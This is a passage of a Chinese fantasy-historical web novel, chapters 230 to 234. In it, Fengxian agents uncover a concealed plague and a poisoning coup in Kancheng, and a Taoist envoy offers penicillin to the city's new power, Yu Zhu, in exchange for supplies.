丛喜的提议自然众人很是认可,稍作休息一番,已然上路,等到路过乾县时,丛喜一行人打探一番,发现这县域至少不存在像合县那样被流寇侵占的情况,这会顺利将五匹马售卖出去,拿到了一笔数额不算小的钱财。 一行人没在乾县多呆,毕竟坎城才是他们的目的地。 但来都来了,自然抱着能多打听便多打听的心思,将这乾县也稍作了解。 ——没什么新奇之处,本县百姓生活水准处于明州县域和黎州县域之间,百姓没什么正经活计,但同时,物价要比黎州便宜,匆匆一扫,一行人能看到街头遍布眼神麻木的百姓,各个身形憔悴,想来也是多日没吃饱过了。 丛喜一行人也不再多看,毕竟他们也是有心无力,那明州境内的百姓更是惨烈,世道就是这样,他们空有善心无法改变,索性不多关注,只在心中暗暗祈求此地百姓也能快些得到仙师庇佑。 这会一行人离开乾县,直奔坎城而去。 等到到达坎城附近时,丛喜一行人自然是没着急进去。 无论如何,先打探虚实最为重要,毕竟他们还不曾了解这掌管幽州,住在坎城的又是何人。 是像那元城的小皇帝,还是像明州的陈京行? 若是小皇帝那样不管事的主,他们便可放心进入,但若是像是陈京行这样的狠角色,他们自然要想别的办法。 有没有机会从幽州赚钱,查看幽州虚实,这也是他们此行最为主要的两个目的。 丛喜找机会趁着吃东西时打听一番,便听这来往路人正低声说些什么,因为丛喜来自风仙县,当初是按照仙师的要求,练习了全县都需要练习的炼体术,此刻耳聪目明,竟是将这对话听得清楚。 “虞大将军最近下令收紧坎城入城,此事你等可知晓?” 丛喜耳朵动了动,虞大将军,想来便是幽州的主事人,虞姚,这消息一听便是重要消息,他自然屏气,凝神细听。 这几人还在小声嘀咕。 “前些日子不是坎城还能正常通行?” “你也说是前些日子了,最近入城排查甚是严格,依我看,这坎城有可能是打算自给自足了。” “自给自足?这不能吧?谁不知道坎城的粮食大部分是行商带进去的,他们这地种粮食也种不好,这何来自给自足一说?” “据说是他们坎城弄到了适合他们本地栽种的粮种,再加上如今外来粮食价格太高,定是不乐意了,卖进去也无人购买” 丛喜微微蹙眉。 这理由可说不通,就算是价格高,但依旧会有市场,毕竟粮食如今可是缺得很,不说官府如何应对,但至少大户之家都会选择囤积一些粮食,哪怕价格再贵。 更何况现在的粮食价格可比去年便宜了一些,这更没有理由因为这原因缩紧入城了。 他也没闲着,自然也派人前去打听一番,等到打听回来,拿到的消息便是坎城确实暂且不允许进入了。 这消息对丛喜一行人可算不上好,毕竟他们千里迢迢前来,总不能什么消息都没打探到就灰溜溜回去吧? 他们一行人所入住的是一个距离坎城十分接近的小村落,因靠近坎城,来往行商多会在此地歇息一番,毕竟这里的物价相对于坎城要便宜许多,再加上距离足够近,倒是养活了这靠着坎城过活的小村落。 说是小村落也不太对,这规模可比小村落大了好几倍,还算尚可入眼。 将附近的客栈查看一番,至少排除像合县那般情况出现,丛喜一行人决定先住几天,必须要将这消息打探清楚再说。 一般分为两队,一队负责去外面晃悠打探,而丛喜则是在各个小客栈,小摊位转悠,试图从流动人口中得到一些小道消息。 两方操作下来,竟然还真让他打探到了新的消息。 这消息还是他那日阴差阳错在药房门口察觉到的。《 》 230-240 第231章 禁锢 要说当日丛喜只是意外在这村落药店路过,原先他正打算前去客栈,想看看今日有没有新情报,倒是意外看到那药店有几人结伴离开。 几人看着也是行商之人,眉宇间难得露出兴奋,正互相低声嘀咕。 “没想到咱们运道不错啊,虽说那坎城不让进城,但这小村落的药铺竟然愿意收购咱们此行带来的药材,这次不用跑空了!” “得亏咱们问了那掌柜的一嘴,不然这等好事能让咱们遇到?” “小点声,这掌柜的说只差一批药材,若是宣扬出去了,一会别人过来加塞咱们可就惨了。” “对对对,是这个道理,咱们还是快去快回,将这药材早日脱手才是。” 一行人声音压得很低,就连丛喜练过炼体术,此刻也听不清楚他们后续说的话来。 但他依旧多了个心眼,没离开这药材店,躲在附近默默观察这药铺。 毕竟总觉得这药铺有些古怪。 ——一村落小药铺,怎有能力收购如此多的药材?且还是在坎城无法进入的情况下? 若是没别的销售路子,这些药材定要是赔在手里。 丛喜没白等,很快就看到先前走了的那几人再次折返,而后不知道他们是在哪里交了货,很快这几人带着钱美滋滋离开了。 而在往后等着,丛喜慢慢察觉到不对劲。 这药铺正在收购药材,且数额不小! 他蹲守了一天,除却刚才那几人外,还有几人说辞也和先前一致,各个暗含笑意,均是庆幸自己的药材能脱手。 丛喜更奇怪了,这药铺竟如此有实力?要知道药材价格本就不便宜,几番大批量购入,可见此药铺很有底气。 又琢磨半晌,他没贸然进入,而是又耐心关注了两日,发现这药铺这两日竟是收购了不少药材。 因药材商人大都着急脱手,一听到有人能限量收购自己的药材,自然来不及追问一二,忙将手中的药材脱手,迅速离开此地。 一时半会,倒是没人注意到这药铺的不对劲,除了像丛喜这般本就不是奔着走商的人,说实话,这药材铺子隐藏得挺深。 等到确实发觉这药铺不对劲后,丛喜在第三日和一下属结伴假装成药材商人前去探探虚实。 等到店后,他先是假模假样看了一番药材价格,又故作忧虑,叹气和身旁下属讨论着自己所带的那药材该如何是好。 正是谈论了一会,同时用余光打量药材店的小员工,见此人在听到他所说话后,很快眼神闪烁,又钻进后房,过了一会,丛喜作势要走,不出意料被人拦住。 此人正是这药材铺的潘掌柜,先前店里的小子告诉他有一人携带不少药材,眼看这人要走,这会自然和先前一样,故技重施,假装他正好所需一批药材,话里话外的意思便是他所需数量有限,让他悠着点,别声张,不然到时候传得广了,他可没钱收购那么多。 丛喜面上惊喜,心底自然在冷笑。 ——编,接着编,还没钱收购,这几天他可是看得一清二楚,这姓潘的可是用这套说辞收购了不少药材,这会了倒是开始装了,也不知意图为何? 虽说心底有异样的想法,但丛喜面上不显,经过和潘掌柜一番闲谈后发觉此人所需竟然大都是一些清热泻火,解表散邪,芳香化浊三类药物,至于别的丛喜看得分明,这潘掌柜并不想要,但还是作势假装收购一些,好掩盖他真实所需的三类药材。 但好歹丛喜也曾跟着李思许久,对于潘掌柜这番作态自然看得清楚,毕竟论人精谁能比得过李思? 他自然也是从中学到了不少。 等带人从这药材铺子离开后,丛喜先回了客栈,而后又让其余人去打听那坎城是否最近有烟雾频繁散出。 倒还真让他猜对了,手下人很快便将打听来的消息告诉他,坎城最近倒是常常烟雾弥漫,像是在焚烧什么,据说是因为最近月底的祈福。 丛喜心中逐渐有了猜测,这会面色自然凝重,等到他也亲自去看烟雾后,竟是从中嗅到了一股熟悉的味道。 ——和那先前流寇被焚烧时冒出的焦臭味一样!是焚烧皮肉的味道! 但这味道很淡,烟雾却很浓,想来应当是其内添加了什么隐蔽气味的东西。 丛喜心中“咯噔”一下,心想这坎城十有八九是出现瘟疫了! 又是城外铺子偷偷收购大量药材,又是收紧入城,且城内烟雾弥漫,定是焚烧尸体造成的,毕竟瘟疫死去的尸体可放不住,放着了只会因为温度而引发二次传染。 心中大致猜测后,丛喜立即将此消息告知李思。 信鸽很快便传信到了李思手中,等看清楚其内所写后,李思自然飞速将此消息传递回赵金构手中,再由赵金构迅速传递到方知意手中。 等到方知意知晓此事后,自然先是错愕,而后便是疑惑。 毕竟据丛喜所说,那坎城温度还是三四月的温度,按道理不该是瘟疫爆发的时候,难不成是因为某种原因导致的? 但此事必须琢磨一番该如何介入才是。 方知意垂眼,心中不免慢慢思索。 若说治疗瘟疫,风仙县手中自然有对应的药物,那便是方老先前批量研制出来的青霉素,效果强悍。 之前风仙县被投毒爆发瘟疫时,也幸亏方老及时大批量研制出此物,这才及时救风仙县于水火。 然此时那幽州坎城也遭遇瘟疫,她得好好想想能从对方手中谋划出点东西来。 几乎片刻,方知意便下定决心,点了两个慎刑司的好手,又带了一批人,驾着马,带足了青霉素直奔那坎城而去。 至于被点的慎刑司二人不是别人,正是寻宁和师弟寻凉。 因二人正好在黎州元城附近执行任务,距离那坎城最为接近,这打探消息的活计便是落到了二人头上。 除了一纸调令外,信鸽还带来了永道宫的高级符咒——辟邪符咒,信件中写得明白,这符咒可让他们二人不受瘟疫所影响。 毕竟方知意还不想为了打探消息自毁两个好手。 二人在得知消息后,自然应下,等到人到了坎城后,两人先后使用了这辟邪符咒,顿觉浑身轻松,像是被一阵凉风吹拂而过。 据信件所说,一张符咒效果可持续五个时辰,那盒子里塞满了辟邪符咒以及其余各类作用的符咒,他们只需要在需要时用了便是。 寻宁换下了那身红衣,毕竟此行算是潜伏任务,穿着红衣太过于打眼,和师弟寻凉将符咒分了分,二人迅速钻入夜色中打探消息。 等到一入城,寻宁立即察觉那信件所说不假,这坎城确实是有瘟疫。 只需通过那入城口,再往里走半个时辰,就能看到堆成小山的尸体正迅速燃烧,焦臭味“噗嗤”窜了出来,而后那官兵往里面添了一铲子磨成灰的棕褐色粉末,那股焦臭味迅速被压制下去,变得淡了许多。 寻宁一嗅便得知,这味道是最为便宜的香料,虽说用在身上过于熏人,但此刻倒是能更好的压制住这焦臭味。 迅速从此地掠过,寻宁自然想要寻找源头。 坎城内情况确实紧急,无论是普通百姓,亦或是大户人家,均被这瘟疫折磨得有气无力,城内氛围实在是严肃消沉。 而寻宁直奔官府,她自是打算看看那虞姚到底在哪,此人贵为幽州统领,自是能从他身上打探出一些情报。 等到寻宁进入官府,试着探查虞姚时,却得到意外消息。 这虞姚也病了,自是因为这瘟疫。 官府内严加看守,尤其是在虞姚所在的房内。 寻宁避开守卫,掀开瓦片朝下看,倒还真看到了病榻上有一男子面色苍白如纸,身形倒是魁梧,只是这会躺在榻上,看着软绵绵的,无甚威胁。 除此之外,他身旁坐着一个女子,端得是眉目含情,风姿秀美。 就连寻宁也不得不感慨此女实在是貌美。 本以为是虞姚的妻子,或是府内小妾一类,但等听到女子的称谓后,寻宁难免勾起唇角,顿觉有趣。 只听那女子款款开口,脸庞带笑,说出来的话倒是惊人。 “二弟弟,你病得厉害,姐姐来照顾你了。” 那虞姚似乎想避开她,却被她捏着下巴,将药水灌下去。 言语温和,行为粗暴,这可不像是照顾,更像是泄愤。 果然,这一碗药下去,虞姚的脸色更苍白了,寻宁很快便意识到,这虞姚可不是得了瘟疫,而是被刻意下毒了,观他此刻七窍发黑,想来时日不多,除非仙师相助才有奇迹,不然这虞姚绝对很快就要死了。 那女子给他灌了药,随后就离开屋子,寻宁注意到虞姚虚得厉害,竟是一句话说不得,这会算是彻底被软禁在屋内。 而更让寻宁诧异的是,女子从屋内离开,院子里的官兵倒是各个对她颇为尊敬,寻宁看的清楚,这可不是给女眷的尊敬,更像是给掌权者的尊重。 这会难免心中生出了几分猜测。 稍微打探一番,倒很快知晓此女名为虞珠,是虞姚的嫡姐。 只是奇怪这两人既是一个母亲生的,怎会闹到这种地步? 倒是很快这疑惑便被解开。 寻凉带来了消息,看着那信纸内所写,寻宁总算了解为何。 原这虞家是平妻,虞姚是那平妻所生之子,算得上是虞府嫡子。 两人同父异母,这虞姚母亲又是平妻,出身卑微,远不如虞珠之母尊贵,却因为得了虞父的喜欢,硬生生被抬了平妻,不到一载便气死了原配,反倒让这后来的得了好处。 寻宁心想这可有趣了,原来其中还有这一秘事,怪不得那虞珠下手狠辣,本就是仇人之子而已,又如何会因为同缘放过对方? 第232章 轻视 寻凉和寻宁二人是在第二天早上汇合的,两人本就是慎刑司内一顶一的好手,若是平时,打探消息自然不会浪费太多时间,只是坎城是第一次来,其内的确有许多事情不清楚,这才浪费时间好好查看一番。 不过倒是没白白浪费时间,二人很快便打听出了不少情报。 譬如这瘟疫是如何流传开来的。 原来是因为一场政变。 虞珠不知道用了什么办法,设计将虞姚旗下不少可用之人暗中处理掉后,这才发难。 那虞姚自是大怒,却不料早就被虞珠下毒尚久,只是以往病症几乎不曾显现,他竟是一直没发现,直到今日虞珠发难才得知自己早就中毒,命不久矣。 虞姚自然想自救,可惜虞珠实在是难缠,不仅用他患了瘟疫一事搪塞旗下不知情的手下,同时以嫡姐的身份前去照顾他。 至于虞珠打的什么主意,虞姚自然清楚,莫非便是等他死后假哭一番,而后顺理成章拿走他费尽心思才得到的幽州而已。 话说到此,虞姚便开始痛恨自己精明了一辈子,竟先前不曾察觉到虞珠的心思。 但说实话,虞珠此前一直是一副人淡如菊的作态,对他的关系不近不远,也就是最近几日和他关系看着好了些许。 当时他没太当回事,毕竟心想一后宅女子能翻出什么花样来,想来只是有事想找他帮忙,提前预热一番而已。 再加上虞珠人长得和天仙似的,这会主动对他热情几分,在他看来,难免是一副臣服的姿态,虽说两人之间是有点血缘关系,但这也满足了虞姚那点隐秘的见不得光的心思。 他先前倒是大概了解过虞珠母亲和自家母亲的恩怨,但这事相比于争夺天下来说,对他而来太小,自然是没纳入他的考量中,倒是没想到会因为此等恩怨翻车,这会人躺在床榻上等死之际,难免悔青了肠子也无用。 而当时两方斗争自然死了不少人,当初因为考量气温低,只要将尸体快速处理掉,便不会发生瘟疫,但一切均有意外。 比如这瘟疫便是虞姚先前花重金聘请的一位谋士所想的法子。 具体法子便是人为的制造瘟疫,当然,当初虞姚想的是将这人造瘟疫投放到黎州元城,或者明州陈京行旗下,毕竟范围不能太大,不然后期控制不住也麻烦,只需要小范围投放,让对方处于失守状态,他就可以带兵侵入,一举攻破。 倒是没想到,这馊主意还没用到敌军身上,反而因为虞珠突然发难,让虞姚恨恨用在她身上。 ——好你个贱人,不是想要他夺下的幽州?那便拿去,他虽说人快死了,死之前也要拉上数个给自己垫背的。 且当初虞姚想的是,他来这么一出,虞珠就算日后算计着扶持一个傀儡上位,也绝不会统治得顺利,毕竟一开始就发生了瘟疫,很难让幽州百姓信服,只要是能恶心到虞珠,虞姚心中便觉得一阵痛快。 他先前倒是摇了信鸽前去传信给景旭宫内他相熟的一位长老,自然是求对方速来帮他一把。 虽说求是求了,但虞姚并不知晓对方到底会不会来,毕竟这关系走的可不是他的关系,也不知道那位长老会不会看在他母亲的面子上来一趟。 因不确定那景旭宫的长老来不来,所以虞姚做了二手准备,那便是搅乱坎城,好让幽州乱起来,从而让虞珠疲于分心。 但他这计谋不曾生效,谁能知晓虞珠反应速度极快,先是迅速隔离瘟疫源头,而后又极快地烧毁尸体,派人去收购药材,同时又找到合理的理由封锁城门,不让瘟疫扩散,同时也是将城内动乱牢牢锁在其内。 虞姚本还在等坎城动乱,却迟迟没等来消息,反而等到虞珠进来给他灌了一碗加大药剂的毒药。 虽说不至于让他立马就死,但虞姚很清楚自己的身体已经没几天好活了,且这毒药入体疼得他觉得五脏六腑都在翻滚抽搐,似有千万只毒虫啃咬,让他恨不得立马去死。 至此,虞姚便明白这是虞珠的警告和报复,她甚至懒得亲自动手抽他耳光,而是用了最省事最毒的法子折磨他,让他在仅剩的日子里只记得疼痛。 虞姚本还想着再熬一熬,看看能否等到那景旭宫的长老,但此刻看来,这一切是要不了了之了。 这会自然难免叹息,他争锋数年,本以为日后会稳坐大炎朝宝座,或者最次也是死于朝廷,死于那陈京行之手,但无论如何他不会想到,自己竟然会这般轻飘飘的死在他从未看上过的后宅女子手中。 万般悔恨感慨,顿时齐上心头。 虞姚这边暂且不表,寻凉和寻宁二人自是将这幽州政变导致瘟疫一事,立即传信给方大人。 除了在信件中所写这瘟疫来源,二人自然将所见所闻大概概括一番。 寻凉先前是负责查那虞姚的,一番探查后自然蹙眉。 ——此人实乃和那陈京行是一丘之貉,相对于陈京行喜欢将人利用到骨头渣的精明,虞姚属于更随性暴怒的那一类人。 做事全凭心情,自己便是天大的王法。 虽说此人也难得有公道时候,但大部分时候,均是喜怒无常,一声令下,私刑杀人那是常事。 且虞姚此人对于管理一事其实并不精通,但此人对于行军作战还算有天分,这便是他为何能独占幽州。 再论这虞家,实乃属于当地庞然大物的存在。 毕竟虞姚此人就甚是高调,虞家自然也没有那等低调行事的念头,而那虞家子弟大都被虞姚安排到各个岗位,因有着本家虞姚作为后盾,这些虞家子弟自然得意洋洋,搞得哪儿都是乌烟瘴气,不成样子。 为更好的敛财,在虞姚当靠山的情况下,虞家自然设了不少赌厂分支,又占据了最为赚钱的买卖,这利益像是滚雪球,迅速扩大。 没等多久,这虞家已然成了整个幽州都畏惧的存在。 看不惯之人自然是有,但幽州之下都是虞姚说了算,幽州之外确实虞姚管不到,但扪心自问,这如今三分天下的情况,谁又能真的奈何虞姚? 这便是幽州的土皇帝了! 所以那些正义之士即便心生不满,想为旗下受苦百姓告状也是没地去告的。 先前也有不少高风亮节之士联合反抗,斥责虞姚不该将放任虞家搞得幽州乌烟瘴气,鱼肉百姓,这等实话虞姚自然不爱听,均被虞姚拉出去斩了,为杀鸡儆猴,虞姚还特意嘱咐手下将这些人的亲属亲眷拉出来一并杀了。 用他私底下的话说便是斩草除根。 当日可谓腥风血雨,那些个女眷,孩童,各个哭喊却被拉出去挨个砍死,哭啼声和血腥味充斥着整个幽州,久久不散。 就算有那等不怕死的人也得好好掂量一番,他是不怕死,但怕连累家属啊! 自己死得轻松,两腿一蹬不问身后事,但身死之后家人全部跟着遭殃,这岂能行! 至此以后,无人再敢出头。 幽州彻底成为虞家的一言堂。 寻凉当初在查探到这番消息时,自然是惊诧又不悦。 虽说先前他手上也不少沾血,但那大都是不得已,像虞家这般主动作恶还敢这般猖狂的,他自然也是第一次见。 再和风仙县一对比,寻凉自然是更加敬佩仙师。 这虞姚不过凭借着行军打仗的本事独霸幽州,就敢这般猖狂,而仙师神通广大,无所不知,却能一如既往的慈悲心善,温和宽容。 怪不得,仙师为仙,这便是差距。 寻凉心中暗自感慨叹息,而后将他所打听到的消息总结一番,写入需要传递给方大人的情报内。 至于寻宁则是打探了一番虞珠。 不同于虞姚此人在幽州掀起的腥风血雨,虞珠所行之事更隐蔽,更不容易被察觉,就算寻宁,费劲巴拉的查了半天,也只查到了一些蛛丝马迹。 其实转念一想也合理,毕竟那虞珠需要避开虞家许多人耳目,自然是越低调越好,而能取得如今这番胜利,可谓是极其难得。 寻宁难免对她产生了一丝微妙的敬佩,毕竟对于女子来说不能经常外出,这无论是联络帮手,亦或是打探消息,都很是麻烦。 但虞珠用了数年隐忍,竟成功联合了一批对虞姚不满愤懑的帮手,其内自然是有当年被虞姚充当杀鸡儆猴的旁支,幸存者,也有无处发声的正义人士,再加上虞珠以利诱人,徐徐图之,又让对方看到她并非虞姚那般残忍血腥人物,再加上虞珠手里还有生母原先预留下来的人手财宝,且她作为女子更容易隐蔽虞府不被察觉,对于打探情报可谓是极为有利。 诸多有利状况让盟友逐渐向她靠拢,连着蛰伏数年,在虞姚越发膨胀,行事几近于残暴疯狂时,虞珠决定动手。 有道是,天欲其亡,必令其狂,虞姚便是如此。 在他野心最膨胀,自觉势力最盛大之际,便迎来了他的灭亡。 而后虞姚,包括日后对于虞家的清算这才慢慢开始。 虞珠生母当初只育养她一女便撒手人寰,且她以往在虞家日子过得甚是清苦,加上虞父和继母的杀母之仇,她本就对虞家有着天然的隔阂和仇恨。 也正是因为这等关系,这等在虞府内孤立无援的状况,这才能顺利拉到许多盟友,可谓是造化弄人。 毕竟虞府内谁都以为虞珠无人可依,若不是为了虞府门脸,再加上虞珠实在貌美,继母和虞父心想着日后看能否让虞珠前去联姻,榨取她最后一点价值,这才勉强养着她,不然早就将虞珠赶到哪个庄子上自生自灭。 倒是没想到,以往最是瞧不上的,如今反而一跃而起,不仅杀了虞姚,还要继续挥刀斩向他们虞府! 第233章 通讯队伍 幽州情况很快便被寻宁和寻凉二人整合一番,将这消息传递回去。 等到信鸽飞回风仙县时,方知意自是展开信件,将其内容快速扫过一遍后,先是惊奇幽州竟有虞珠这等人物出现。 观这情报所看,此人比那虞姚更有合作的可能。 ——当然了,自然用的不是她们风仙县的身份谈合作,目前虞珠此人她未曾深度接触,只是大概知晓此人行事风格,既不了解此人,那便只能进行最表浅的合作。 这才提笔回信。 此信由信鸽传递,竟是和那带着青霉素行进的一行人恰好同时赶到了坎城附近,丛喜一行人便呆在那村落客栈内,边等消息,边默默关注那药材铺子今日动向。 因前往派送青霉素一行人本就是好手,且因负重较轻,再加上目的便是坎城,不需要中途稍作休息,顺带打探幽州地界,所以速度自然要比丛喜一行人要快上许多。 如今青霉素拿到手,又看到方大人亲自写明的回信,丛喜一时半会竟有些紧张。 毕竟作为一小小的商人,以往也就是跟着李思做活,连赵金构都没见过,何况是直面风仙县的县令大人? 再加上方大人在本县颇受人尊敬,丛喜自然也是方大人旗下的信众之一,先前自从方大人得了仙师之意负责接管全城后,风仙县是眼看着一日比一日好。 这会见到方大人的书信,丛喜不自觉紧张,生怕自己做不好,辜负了方大人期待。 其信件要求便是他假以云游道士之名,将这青霉素和坎城内的虞珠交易。 ——自是需要粮草,矿产,车马牛羊这类硬性通货,不要银两。 自然,这人选其实方知意已然有推荐之人,那便是恰逢游历到此处的李归一。 而至于丛喜的任务便是差一队人将兑换出来的货物安全送回风仙县。 且为了避免被对方追查到货物流通何地,其实这一行人只需将货物运送到高级符咒——转移符咒的范围内即可。 而除了将兑换货物转移到高级符咒所规划的区域内,丛喜的另一个任务便是继续试着查看坎城是否有扩张布料行的机会。 这便要求丛喜要和那队负责转移货物的人分成两队,且不能被识破是同一只队伍。 丛喜稍作思考便决定将这一批护送青霉素的官兵假扮成那负责将兑换货物带回去的队伍。 毕竟他们一行人在这村落逗留了好几日,若是被有心之人打探一番,定会很快露出破绽,而新来的队伍便没有这番烦恼。 当即丛喜便将这消息迅速传递给后来的官兵。 而此刻,李归一则是被仇离用通用符联系上的。 话说这通讯符联络起来甚是方便,先前方知意自然也动心过,——若是此通讯符能用于行军打仗,日常通讯岂不很是有用? 毕竟就算是信鸽传信也没有这通讯符来得快啊。 而仇离则是摇头解释,说通讯符使用必须要调动灵气,若不是修道之人,则无法使用这通讯符。 既这般,方知意略微惋惜,而后便生出了新的想法。 ——为何不组建一支通讯队伍?全部由道士组成,日常便被分配在各个重要队伍内,若是联络时,便由两方道士使用通讯符传递信息。 这想法倒是让仇离微微沉默,等他将方大人的意思传递到仇师祖耳里后,两人不免琢磨一番。 虽说传递消息会耽误修行,但他们先前投奔仙师,发誓要替仙师效力,这会不能说真来事又百般推脱不想干。 两人稍作思考,最后还是仇离给出了解决方案。 “师祖,我有一计。这通讯咒无论是制作还是使用,都算得上简单,不若将身体素质还不够学习《青梧引》的新弟子们一一分配下去,一来是能解通讯方面的燃眉之急,二来也是让他们顺路去下山历练一番。 原先师弟师妹们也需要下山历练一年,才能重返宫内继续修炼,依我看,这历练不如改成跟随方大人旗下队伍出门游历?一来是相较于原先更为安全,二来是之后就算是练习《青梧引》,日后效力的也是仙师,还不若趁着历练提前搞明白日后要做的事,可谓是一举两得。” 仇离提出的建议很是有说服力,仇师祖双眼一亮,心想是这个道理! 出去自己游历也是游历,还不若跟着正规军去游历,也能解决风仙县队伍和队伍之间,无法迅速通讯的弊端。 且都是轮换着来的,不存在说谁吃亏的概念。 若说为何师兄师姐不需用去历练,那他定要说新人已经算是运气好的了,毕竟原先的师兄师姐们,哪个不曾下山历练?历练回来后,《青梧引》也不曾拿到手,中途也是浪费了许多时间。 这番对比下来,自然不存在什么新人吃亏的情况。 既已决定这般运作,很快,仇师祖便联络上还在山头负责教授新弟子的仇风长老。 让他迅速带着一众准备下山历练的弟子前来风仙县。 起初仇风长老还不懂仇师祖这是何意,毕竟这要学习《青梧引》那可是必须要通过考试才可学习的,若这么随意将弟子们带过去,不怕练得不合格的弟子爆体而亡? 等听明白这批弟子是过去跟随着正规军,在风仙县旗下历练,同时负责通讯时,仇风长老很快应下。 在他看来,仙人肯传授给他们永道宫《青梧引》已经是天大的恩情,不过如今是需要一些人手罢了,又如何能忘恩负义,不肯效力? 很快,一批下山历练弟子便被送到风仙县。 等人到了后,便开始进行初步训练,而后便是分配在各个重要队伍内,同时还需要帮助这些永道宫弟子们迅速融入各个队伍。 因这项目才刚刚起步,所以这次坎城一事倒是不曾来得及派通讯道士进去。 不过好在是李归一恰逢游历到坎城附近,而联络任务便交给了仇离。 等到听清楚方大人打算和那虞珠做一番买卖后,李归一自然觉得风险颇高,虽说传递消息的人是仇离,但做出决策的人可是方大人,他倒也没办法,更没立场说些什么,只能应下,想着尽全力试试算了。 对于他来说,大不了谈不拢就用术法跑路嘛,反正他现在术法更为精进,且身上还揣着不少高级符咒,不说别的,至少自保没问题。 话也传递了,心理准备也做好了,李归一自然是稍作易容,而后慢慢悠悠进了那药材铺子。 药材铺子今日冷清,就连里面的伙计都是无精打采的待在柜台。 而李归一则先是转悠一番,故作打量之态,而后频频叹气。 惹得店里伙计注目,这会思索一番,还是凑过去询问一二。 李归一拿起拂尘挥了挥,面上叹息。 “此地浊气太旺啊” 店里伙计心中难免“咯噔”,而后赔笑看他。 “道长此话怎讲?我们小店可是风水上不太好?惹了什么不好的东西?” 李归一眼看对方上钩,这会不回答,则是慢慢的报出几个最近他们店里用量最狠的药材,又补充道:“是这几种药材用的最多吧?” 店里伙计原本以为这道士大概率是江湖骗子,但眼看对方能准确报出最缺,用量最大的药材后,心底震撼之余先是警惕。 ——此人难不成知道砍城内发生了什么?不然为何能清楚知道这几种药材最为需要。 先前自家掌柜的可就说过,若是有故意打听的,他们可万万不能让对方轻易察觉,不然绝对会对他们店里不利。 店里伙计是真听进去了。 此刻讪笑:“道长这话说得有趣,这几种药材一到天气转热时用量就大,这可不是我们一家如此。” 看李归一没做出什么反应,此刻心中已有将此人敷衍回去的想法,只是话还没说出口,先被对方打断。 “你且先叫你家掌柜的出来,就说我能帮他解决麻烦。” 本店里伙计是不愿的,但不知为何,看到李归一一副高深莫测,姿态淡定的模样,心中又不自觉打鼓 不然还是试试?毕竟此人看着甚是古怪神秘,他作为伙计自然察觉不到更深层的东西,但若是潘掌柜应当能知晓此人到底葫芦里卖的什么药。 一番思索,店里伙计到嘴边的拒绝立即改口。 “道长稍等,我先去喊我家掌柜的出来。” 眼看这小伙计匆匆走近后门,又匆匆领着一人款款出来,李归一侧身去看这所谓的潘掌柜。 身材瘦长,看着像是老实人。 这会暂且不开口,只是盯着他看,而潘掌柜同时也在打量着眼前的李归一。 只见李归一一身月色道袍,手中握着拂尘,看上去眉目确实有几分修行道士的气质,再细细观望,此人颜面看着颇为正派,不像是江湖骗子。 潘掌柜好歹年轻时也走南闯北过,自然是知晓黎州元城,皇家正统道宫,景旭宫的存在。 这景旭宫的确有两把刷子,但架不住恶名更盛,据说那景旭宫内的道士各个修的是邪法,不知眼前之人是不是来自于那景旭宫的? 潘掌柜心想,若是此人来自于那景旭宫内,他绝不会相信此人所说之话,毕竟他可是清楚,景旭宫道士们一切只看利益,三观歪得很。 这会先和李归一客气一番,等到听到他并非景旭宫道士后,面色不由地好转几分。 李归一看得分明,此刻做足了姿态,对方总算开始询问先前李归一所说之话是何意。 等终于听到对方这话后,李归一心中一喜,声音极低,面色却是凝重。 “我问你,那坎城内可是有了瘟疫?” 第234章 天价 潘掌柜本还心存打探,等赫然听到李归一此话时,顿时心跳加快,面上却是不显。 又故作疑惑,好心警告他。 “道长这话可不能乱说,这坎城内好得很,不过是暂时收紧入城而已,今日你所说若是被别人听到,岂不是徒惹一身腥臊? 毕竟这谣言最容易被口口相传下去了。” 察觉到潘掌柜的不满,李归一面庞依旧带笑。 “潘掌柜此话实在有趣,本就有的事怎么能叫谣言呢?” 果然看到那潘掌柜脸色不太好,李归一又低声道:“不过潘掌柜放心,本道既然敢开这个口,便是有办法帮坎城度过难关。” 潘掌柜早在对方上一句话时心中暗动杀心,他表面上是这村落药材铺子的掌柜,实际上自是虞珠手下的一把手,因最受虞珠信任,所以才奉命收购药材。 眼看眼前这古怪倒是竟敢大咧咧的说出坎城内真实情况,潘掌柜扫视一番店内,庆幸店内无人后,又琢磨得找个机会将这道士绑住后询问一二,查探一番底细,若是来路不正,那便杀了便是,省得日后惹出许多麻烦。 此人居然说他有法子可解坎城内瘟疫? 这简直是天大的笑话,毕竟这瘟疫从古至今,可是想来就没有治愈的可能!大部分时候都是等感染的人都死光了,这才算完事。 这道士倒是好大的口气! 此刻不免在心中冷笑一番,这会心底没报什么期待,只是顺着眼前道士的话说:“哦?道长请讲,鄙人实在是眼界颇窄,不懂道长所言何意。” 李归一自是察觉到了对方眼内一闪而过的杀意,这会心想若他不懂道法,这会来谈判可真是危险呐。 又想方大人倒是会找人,还知道找他。 此刻暗自吐槽一番方大人的黑心后,李归一故作没察觉到对方的杀意,慢悠悠道:“这瘟疫也是一种病,既然是疾病,那便有治愈的药物。而我手中就有一可用之药。” 潘掌柜面上不显杀意,倒是故作好奇:“愿闻其详。” 李归一从袖袍内拿出一支青霉素,放置在桌前道:“此药便是解药,此物名为青霉素。” 潘掌柜复述一番,觉得这名字取得可真是绕口,也倒是难为这道士取了一个这么绕口的名字出来行骗。 心中不屑,却依旧将打量的目光凝聚到那道士拿出来的一只陶瓷小瓶上。 这小瓶子通体莹白,很是简朴,拿在手上微微晃动,能够感受到其内粉末状药物的声响。 “敢问道长可将此物打开让鄙人看看?” 他倒要看看这道士葫芦里到底卖的是什么药,此刻却见对方微微摇头。 “不可,这药剂一经打开,必须尽快使用,若是潘掌柜现在打开却是不用,这不是白白浪费一支药剂?再者,这一支药剂价格可不便宜。” 潘掌柜心中冷笑——呵呵,这才是重点吧,想来此人是打算借着坎城瘟疫前来兜售一番没什么用途的药粉,然后趁机索要高价,至于药效自然是全靠患者自愈,若是成功活下来那便是有效,若是不成功,那便是生死有命。 “不知道长这药可有多大概率救活患者?” 潘掌柜一副虚心求教模样,而李归一则是伸手比了个九。 “九成。九成患者会在用药后治愈,一成会因为身体反应和药效冲突而死亡。” 九成?好大的口气! 潘掌柜心想有趣,他倒是头一次见江湖骗子敢这么信誓旦旦,此刻皮笑肉不笑慢慢开口。 “哦?真这般有效?不若这支药剂鄙人先行买下,等鄙人试验一番,若是效果真如同道长所说,那道长便是我们整个坎城的救命恩人,但若这药效不好,鄙人可是连这一支的钱可都是不给的,毕竟鄙人生平最恨那等信口雌黄之人。 不过鄙人观道长气度非凡,自然不会是这般人物。” 